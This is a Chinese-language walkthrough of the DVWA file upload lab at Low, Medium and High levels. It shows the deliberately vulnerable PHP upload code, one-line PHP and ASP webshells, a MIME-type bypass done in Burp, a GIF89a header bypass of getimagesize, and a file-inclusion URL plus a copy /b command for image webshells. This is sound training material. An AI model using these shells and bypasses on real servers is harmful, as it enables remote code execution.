♥檔案上傳漏洞的簡介
檔案上傳漏洞也就是通web網頁的檔案上傳功能去上傳一些惡意的檔案,比如包含病毒、木馬檔案、釣魚圖片或者是包含指令碼的圖片,webshell等。
這個功能本身沒有問題,是對上傳檔案的過濾不夠安全,被攻擊者加以利用。
♥檔案上傳漏洞的危害
上傳漏洞與SQL隱碼攻擊或 XSS相比 , 其風險更大 , 如果 Web應用程式存在上傳漏洞 , 攻擊者上傳的檔案是Web指令碼語言,伺服器的Web容器解釋並執行了使用者上傳的指令碼,導致程式碼執行。如果上傳的檔案是Flash的策略檔案crossdomain.xml,黑客用以控制Flash在該域下的行為。通過這個漏洞常常用來上傳webshell,進行系統提權。
♥Low
我們先看一下原始碼
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?>
沒有對上傳檔案作任何過濾,我們可以直接上傳木馬。
php的常用一句話木馬 <?php @eval($_POST['pass']);?>
asp的常用一句話木馬<%eval request("pass")%>
我們寫好一句話木馬,然後直接上傳
我們訪問一下上傳檔案的路徑,這裡我一直訪問失敗這個路徑
http://192.168.204.129/dvwa/hackable/uploads/yma.php
搞了半天,後面發現是以為我上傳檔案命名的時候前面多打了個空格,注意看上傳成功給出的路徑有空格,被搞了。
上傳成功,這裡就可以用菜刀連上了。
♥Medium
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
這裡對我們上傳檔案型別做了過濾,只可以是jpg、png的,這樣我們直接上傳php字尾的檔案就不行了。
我們用burp抓包來看看,上傳一個正常jpg圖片,可以看到提交檔案型別Type是jpg
然後我們forward放包看看,ok上傳成功
再來上傳我們的木馬,抓包,可以看到Type,我們改成jpg的
可以看到,上傳成功。
♥High
先來看一下原始碼
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
這裡面多了很多函式,先看一下這些函式
strtolower()函式,把裡面的字串轉換成小寫
strrpos()函式查詢 "php" 在字串中最後一次出現的位置:
<?php
echo strrpos("You love php, I love php too!","php");
?>
substr(string,start,length)
string必需。規定要返回其中一部分的字串。
start必需。規定在字串的何處開始。
正數 - 在字串的指定位置開始
負數 - 在從字串結尾的指定位置開始
0 - 在字串中的第一個字元處開始
length可選。規定要返回的字串長度。預設是直到字串的結尾。
正數 - 從 start 引數所在的位置返回
負數 - 從字串末端返回
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
也就是說這句程式碼的意思就是,先用strrpos把“.”+1位置也就是檔名字尾部分返回回來,然後再用substr擷取到字尾。
PHP程式語言中的常見的$_FILES系統函式用法有: $_FILES['myFile']['name'] 顯示客戶端檔案的原名稱。 $_FILES['myFile']['type'] 檔案的 MIME 型別,例如"image/gif"。 $_FILES['myFile']['size'] 已上傳檔案的大小,單位為位元組。 $_FILES['myFile']['tmp_name'] 儲存的臨時檔名,一般是系統預設。 $_FILES['myFile']['error'] 該檔案上傳相關的錯誤程式碼。以下為不同程式碼代表的意思:
HP 獲取影像資訊 getimagesize 函式 getimagesize() 函式用於獲取影像尺寸,型別等資訊。 imagesx() 函式用於獲取影像的寬度。 imagesy() 函式用於獲取影像的高度。 getimagesize() getimagesize() 函式用於獲取影像大小及相關資訊,成功返回一個陣列,失敗則返回 FALSE 併產生一條 E_WARNING 級的錯誤資訊。 語法: array getimagesize( string filename ) 例子: <?php $array = getimagesize("images/flower_1.jpg"); print_r($array); ?> 瀏覽器顯示如下: Array ( [0] => 350 [1] => 318 [2] => 2 [3] => width="350" height="318" [bits] => 8 [channels] => 3 [mime] => image/jpeg )
經過了上面的分析,下面這程式碼的意思就是先把檔案字尾轉化成小寫然後判斷檔案是不是jpg、jpeg或者png並且用getimagesize()來獲取我們上傳檔案的影像資訊,如果我們需要成功上傳就要檔案型別是前兩種,並且getimagesize()函式不能返回錯誤
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) )
那麼就是對getmagesize()函式的繞過,我們在偽造頭部GIF89a,來繞過
改為jpg字尾,上傳成功!
但是呢,這裡是jpg的檔案,菜刀不能直接使用,怎麼辦呢?
這裡就要配合檔案包含漏洞的使用了,這裡high級別的檔案包含是用file:///白名單訪問的,我們知道檔案的絕對路徑,
就可以構造payload了:
http://192.168.204.129/dvwa/vulnerabilities/fi/?page=file:///C:\phpstudy\WWW\dvwa\hackable\uploads\yma.jpg
我們用菜刀連線試試呢,發現失敗了
可以訪問到這個檔案,但是菜刀連不上。
如果用cmd 來構造的圖片木馬呢 copy 1.jpg/b+yma.php/a yma1.jpg
然後再用菜刀連線,但是我這裡連線出問題了,搞了好久 不知道是什麼原因 !!!!!有點難受~~~ T_T